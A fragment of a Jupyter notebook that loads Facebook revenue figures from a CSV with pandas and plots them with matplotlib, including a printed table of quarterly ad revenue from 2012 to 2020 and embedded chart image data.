q7i+Nbf46sxvN75nkK0l+NMlXk1yb5DNJbhn7eV13v3E9joOtY17XbHdfvmyf25O8t7sftS4HwZYyz2u2qh6W2RP37pfkC0l+rruvWa9jYWuY8zX7vCQvSvLtJJ9L8q+6+4vrdjBsegd7vVbVr2Q21PmqZbv50e6+oaqWkrw5yRFJ3p/k7BaI7kBABAAAIIkhpgAAAAwCIgAAAEkERAAAAAYBEQAAgCQCIgAAAIOACABzUDN/XlVPW9b2U1X1gUXWBQAHw2suAGBOqupRSd6Z5LFJDkvyySSndvdf3YV9Hdbdt823QgA4MAERAOaoqv5zkq8nuc/4fliS702yLcnLuvs9VbU9yVvGOknygu7+SFU9OcmvJbk+yWO6+6T1rR6ArU5ABIA5qqr7JPl4km8leW+Sy7r796rqfkk+llnvYie5vbu/WVUnJnlbdy+NgPi+JI/q7qsXUT8AW9u2RRcAAJtJd3+9qt6R5GtJfirJ06vql8biw5M8NMl1SV5XVY9JcluS71q2i48JhwAsioAIAPN3+/hUkp/s7iuXL6yqlyX5fJJHZ/bAuG8uW/z1daoRAPbjKaYAMJ0/TnJ2VVWSVNVjR/tRSa7v7tuT/GxmD7QBgIUTEAFgOi9Pco8kn6qqT4/5JHl9kjOq6qOZDS/VawjAIcFDagAAAEiiBxEAAIBBQAQAACCJgAgAAMAgIAIAAJBEQAQAAGAQEAEAAEgiIAIAADAIiAAAACRJ/h+Qfr8JnU946AAAAABJRU5ErkJggg==\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\Facebook Revenue Statistics\\RFB2.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(15,9))\n", + "plt.grid(axis='y', color='g')\n", + "plt.xlabel(\"Year\")\n", + "plt.ylabel(\"FB revenue $ USD\")\n", + "plt.bar(x,y,color='b')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook ad revenue by quarter" + ] + }, + { + "cell_type": "code", + "execution_count": 32, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter Facebook ad revenue(USD millions)\n", + "0 Q2 2012 992\n", + "1 Q3 2012 1086\n", + "2 Q4 2012 1329\n", + "3 Q1 2013 1245\n", + "4 Q2 2013 1599\n", + "5 Q3 2013 1798\n", + "6 Q4 2013 2344\n", + "7 Q1 2014 2265\n", + "8 Q2 2014 2676\n", + "9 Q3 2014 2957\n", + "10 Q4 2014 3594\n", + "11 Q1 2015 3317\n", + "12 Q2 2015 3827\n", + "13 Q3 2015 4299\n", + "14 Q4 2015 5637\n", + "15 Q1 2016 5201\n", + "16 Q2 2016 6239\n", + "17 Q3 2016 6816\n", + "18 Q4 2016 8629\n", + "19 Q1 2017 7857\n", + "20 Q2 2017 9164\n", + "21 Q3 2017 10142\n", + "22 Q4 2017 12779\n", + "23 Q1 2018 11795\n", + "24 Q2 2018 13038\n", + "25 Q3 2018 13539\n", + "26 Q4 2018 16640\n", + "27 Q1 2019 14912\n", + "28 Q2 2019 16624\n", + "29 Q3 2019 17383\n", + "30 Q4 2019 20736\n", + "31 Q1 2020 17440\n", + "32 Q2 2020 18321\n", + "33 Q3 2020 21221\n", + "34 Q4 2020 27187\n" + ] + }, + { + "data": { + "image/png": "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